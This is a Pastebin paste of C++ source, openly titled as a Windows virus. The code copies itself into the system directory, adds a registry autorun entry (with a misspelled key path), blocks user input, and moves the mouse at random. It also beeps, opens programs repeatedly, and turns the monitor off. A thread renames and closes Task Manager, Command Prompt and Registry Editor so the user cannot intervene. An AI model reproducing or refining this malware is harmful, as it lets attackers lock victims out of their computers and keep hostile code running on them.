bodja_b

virus-windows<c++,compil in Visual Studio

Jan 8th, 2017
177
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 3.24 KB | None | 0 0
  1. #include <iostream>//підключення бібліотек для роботи функцій виводу cout
  2. #include <stdio.h>//заголовний файл
  3. #include <windows.h>//Бібіліотека директиви Windows
  4. #include <conio.h>// затримка DOS вікна
  5. #include <ctime>//виконання доповнених функцій
  6. int random, Freq, Dur, X, Y;//ініціалізація цілого типу
  7. HWND mywindow, TaskMgr, CMD, Regedit;
  8. char Notepad[MAX_PATH] = "notepad.exe";
  9. char MineSweeper[MAX_PATH] = "winmine.exe";
  10. char Hearts[MAX_PATH] = "mshearts.exe";
  11. char Website[MAX_PATH] = "http:\\www.google.com";
  12. void SetUp();
  13. void Run(int ID);
  14. void Beeper(), OpenStuff(), Hibernation(), CrazyMouse();
  15.  
  16. DWORD WINAPI DestroyWindows(LPVOID);//знищення Windows
  17.  
  18. int main()
  19. {
  20.     srand(time(0));
  21.     random = rand() % 6;
  22.     system("title :.Virus.:");
  23.     BlockInput(true);
  24.     SetUp();
  25.     BlockInput(false);
  26.     CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&DestroyWindows, 0, 0, NULL);
  27.     while (1)
  28.     {
  29.         Run(random);
  30.         Sleep(10);
  31.     }
  32. }
  33. void SetUp()
  34. {
  35.     char system[MAX_PATH];
  36.     char pathtofile[MAX_PATH];
  37.     HMODULE GetModH = GetModuleHandle(NULL);
  38.     GetModuleFileName(GetModH, pathtofile, sizeof(pathtofile));
  39.     GetSystemDirectory(system, sizeof(system));
  40.     strcat(system, "\\winminer.exe");
  41.     CopyFile(pathtofile, system, false);
  42.     HKEY hKey;
  43.     RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Mcft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey);
  44.     RegSetValueEx(hKey, "SetUp", 0, REG_SZ, (const unsigned char*)system, sizeof(system));
  45.     RegCloseKey(hKey);
  46.     mywindow = FindWindow(NULL, ":.Virus.:");
  47.     printf ("You are Doomed Cyber root");
  48.     Sleep(1000);
  49.     ShowWindow(mywindow, false);
  50. }
  51.  
  52. void Run(int ID)
  53. {
  54.     if (ID == 1)
  55.     {
  56.         BlockInput(true);
  57.     }
  58.     else if (ID == 2)
  59.     {
  60.         Beeper();
  61.     }
  62.     else if (ID == 3)
  63.     {
  64.         OpenStuff();
  65.     }
  66.     else if (ID == 4)
  67.     {
  68.         Hibernation();
  69.     }
  70.     else if (ID == 5)
  71.     {
  72.         CrazyMouse();
  73.     }
  74.     else
  75.     {
  76.         BlockInput(true);
  77.         Beeper();
  78.         OpenStuff();
  79.         CrazyMouse();
  80.     }
  81. }
  82.  
  83. void Beeper()
  84. {
  85.     Freq = rand() % 2001;
  86.     Dur = rand() % 301;
  87.     Beep(Freq, Dur);
  88. }
  89. void OpenStuff()
  90. {
  91.     ShellExecute(NULL, "open", Notepad, NULL, NULL, SW_MAXIMIZE);
  92.     ShellExecute(NULL, "open", MineSweeper, NULL, NULL, SW_MAXIMIZE);
  93.     ShellExecute(NULL, "open", Hearts, NULL, NULL, SW_MAXIMIZE);
  94.     ShellExecute(NULL, "open", Website, NULL, NULL, SW_MAXIMIZE);
  95. }
  96. void Hibernation()
  97. {
  98.     Sleep(1000);
  99.     SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)2);
  100. }
  101. void CrazyMouse()
  102. {
  103.     X = rand() % 801;
  104.     Y = rand() % 601;
  105.     SetCursorPos(X, Y);
  106. }
  107.  
  108. DWORD WINAPI DestroyWindows(LPVOID)
  109. {
  110.     while (1)
  111.     {
  112.         TaskMgr = FindWindow(NULL, "Windows Task Manager");
  113.         CMD = FindWindow(NULL, "Command Prompt");
  114.         Regedit = FindWindow(NULL, "Registry Editor");
  115.         if (TaskMgr != NULL)
  116.         {
  117.             SetWindowText(TaskMgr, "You Suck Balls Superman");
  118.             PostMessage(TaskMgr, WM_CLOSE, (LPARAM)0, (WPARAM)0);
  119.         }
  120.         if (CMD != NULL)
  121.         {
  122.             SetWindowText(CMD, "You Suck Balls Superman");
  123.             PostMessage(CMD, WM_CLOSE, (LPARAM)0, (WPARAM)0);
  124.         }
  125.         if (Regedit != NULL)
  126.         {
  127.             SetWindowText(Regedit, "You Suck Balls Superman");
  128.             PostMessage(Regedit, WM_CLOSE, (LPARAM)0, (WPARAM)0);
  129.         }
  130.  
  131.         Sleep(10);
  132.     }
  133. }
Advertisement
Add Comment
Please, Sign In to add comment